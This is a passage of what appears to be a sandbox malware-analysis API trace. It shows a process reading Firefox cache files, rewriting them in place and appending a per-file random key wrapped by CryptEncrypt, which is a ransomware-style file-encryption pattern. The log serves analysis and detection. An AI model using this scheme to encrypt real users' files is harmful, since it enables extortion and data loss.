lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.457] CloseHandle (hObject=0x1b80) returned 1 [0183.469] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee958 | out: pbBuffer=0x30ee958) returned 1 [0183.469] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0183.469] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EA342A955A7CF6963E7DB4CDC460D3294050518D", dwFileAttributes=0x80) returned 1 [0183.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ee430 [0183.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.469] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0183.470] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.471] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef078*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0183.471] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d2 [0183.471] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.471] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee958*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee958*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.471] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee958*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee958*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.472] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.472] CloseHandle (hObject=0x1b80) returned 1 [0183.473] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee640 | out: pbBuffer=0x30ee640) returned 1 [0183.474] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0183.474] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E931C0762EB65DE994E41E0BA86058B70B8909BD", dwFileAttributes=0x80) returned 1 [0183.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ee748 [0183.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.474] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0xb2d9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0xb2d9, lpOverlapped=0x0) returned 1 [0183.483] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-45785, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.484] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef6300*, nNumberOfBytesToWrite=0xb2d9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef6300*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb2d9, lpOverlapped=0x0) returned 1 [0183.484] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb2d9 [0183.484] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.484] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee640*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee640*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.485] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee640*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee640*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.485] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.485] CloseHandle (hObject=0x1b80) returned 1 [0183.487] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed6c8 | out: pbBuffer=0x30ed6c8) returned 1 [0183.487] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.487] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E8376984B7111E6C56412FE9CD32A367E9D6E072", dwFileAttributes=0x80) returned 1 [0183.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ee118 [0183.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.488] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4bf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4bf, lpOverlapped=0x0) returned 1 [0183.502] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.502] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef078*, nNumberOfBytesToWrite=0x4bf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4bf, lpOverlapped=0x0) returned 1 [0183.502] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4bf [0183.503] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.503] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed6c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed6c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.503] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed6c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed6c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.503] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.503] CloseHandle (hObject=0x1b80) returned 1 [0183.505] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee010 | out: pbBuffer=0x30ee010) returned 1 [0183.505] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.505] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E7B48E66C7B7ADC3FACF9E5B398D59458DB91D31", dwFileAttributes=0x80) returned 1 [0183.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed1a0 [0183.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.506] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0xc5f9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0xc5f9, lpOverlapped=0x0) returned 1 [0183.517] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-50681, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.518] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef7620*, nNumberOfBytesToWrite=0xc5f9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef7620*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc5f9, lpOverlapped=0x0) returned 1 [0183.518] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc5f9 [0183.518] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.518] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee010*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee010*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.519] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee010*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.519] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.519] CloseHandle (hObject=0x1b80) returned 1 [0183.521] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed4b8 | out: pbBuffer=0x30ed4b8) returned 1 [0183.521] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0183.521] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E771454BB360CA5F7AA169E5416B493549BC2F59", dwFileAttributes=0x80) returned 1 [0183.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed3b0 [0183.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.521] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x2693, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x2693, lpOverlapped=0x0) returned 1 [0183.530] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-9875, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.531] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f1718*, nNumberOfBytesToWrite=0x2693, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f1718*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2693, lpOverlapped=0x0) returned 1 [0183.531] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2693 [0183.531] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.531] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed4b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed4b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.531] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed4b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed4b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.532] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.532] CloseHandle (hObject=0x1b80) returned 1 [0183.533] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eec70 | out: pbBuffer=0x30eec70) returned 1 [0183.533] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.533] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E6D66AFFD836C8C13B306AAB42C9C6E3425363B6", dwFileAttributes=0x80) returned 1 [0183.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ee640 [0183.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.534] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x2462, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x2462, lpOverlapped=0x0) returned 1 [0183.541] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-9314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.541] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f14e8*, nNumberOfBytesToWrite=0x2462, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f14e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2462, lpOverlapped=0x0) returned 1 [0183.541] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2462 [0183.541] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.542] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eec70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eec70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.542] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eec70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eec70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.542] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.542] CloseHandle (hObject=0x1b80) returned 1 [0183.546] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee640 | out: pbBuffer=0x30ee640) returned 1 [0183.546] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.546] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E6969277A890C119DB7A059F8AA28C6FCE346682", dwFileAttributes=0x80) returned 1 [0183.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30edcf8 [0183.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.547] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0183.556] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.556] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef078*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0183.557] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0183.557] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.557] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee640*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee640*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.557] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee640*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee640*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.557] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.558] CloseHandle (hObject=0x1b80) returned 1 [0183.559] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eee80 | out: pbBuffer=0x30eee80) returned 1 [0183.559] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0183.559] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E4C38E7D26DF3FA1AD4C6271429EAEDF5799F280", dwFileAttributes=0x80) returned 1 [0183.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ee118 [0183.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.560] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0183.561] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.561] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef078*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0183.561] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43a [0183.562] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.562] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eee80*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eee80*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.562] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eee80*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eee80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.562] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.563] CloseHandle (hObject=0x1b80) returned 1 [0183.564] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30edcf8 | out: pbBuffer=0x30edcf8) returned 1 [0183.565] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0183.565] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E43746A7E13D67030ED93C5AE62428FF9D2C54EC", dwFileAttributes=0x80) returned 1 [0183.565] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed1a0 [0183.565] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.565] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x1131, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1131, lpOverlapped=0x0) returned 1 [0183.567] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4401, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.567] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f01b8*, nNumberOfBytesToWrite=0x1131, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f01b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1131, lpOverlapped=0x0) returned 1 [0183.568] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1131 [0183.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30edcf8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30edcf8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.568] WriteFile (in: hFile=0x1b80, lpBuffer=0x30edcf8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30edcf8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.569] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.569] CloseHandle (hObject=0x1b80) returned 1 [0183.570] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed5c0 | out: pbBuffer=0x30ed5c0) returned 1 [0183.570] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0183.570] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E325B486B777C14C29762600D998974140F8FD34", dwFileAttributes=0x80) returned 1 [0183.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ee220 [0183.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.571] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xaba, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xaba, lpOverlapped=0x0) returned 1 [0183.572] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2746, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.572] WriteFile (in: hFile=0x1b80, lpBuffer=0x30efb40*, nNumberOfBytesToWrite=0xaba, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30efb40*, lpNumberOfBytesWritten=0x2e1f9bc*=0xaba, lpOverlapped=0x0) returned 1 [0183.573] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xaba [0183.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, 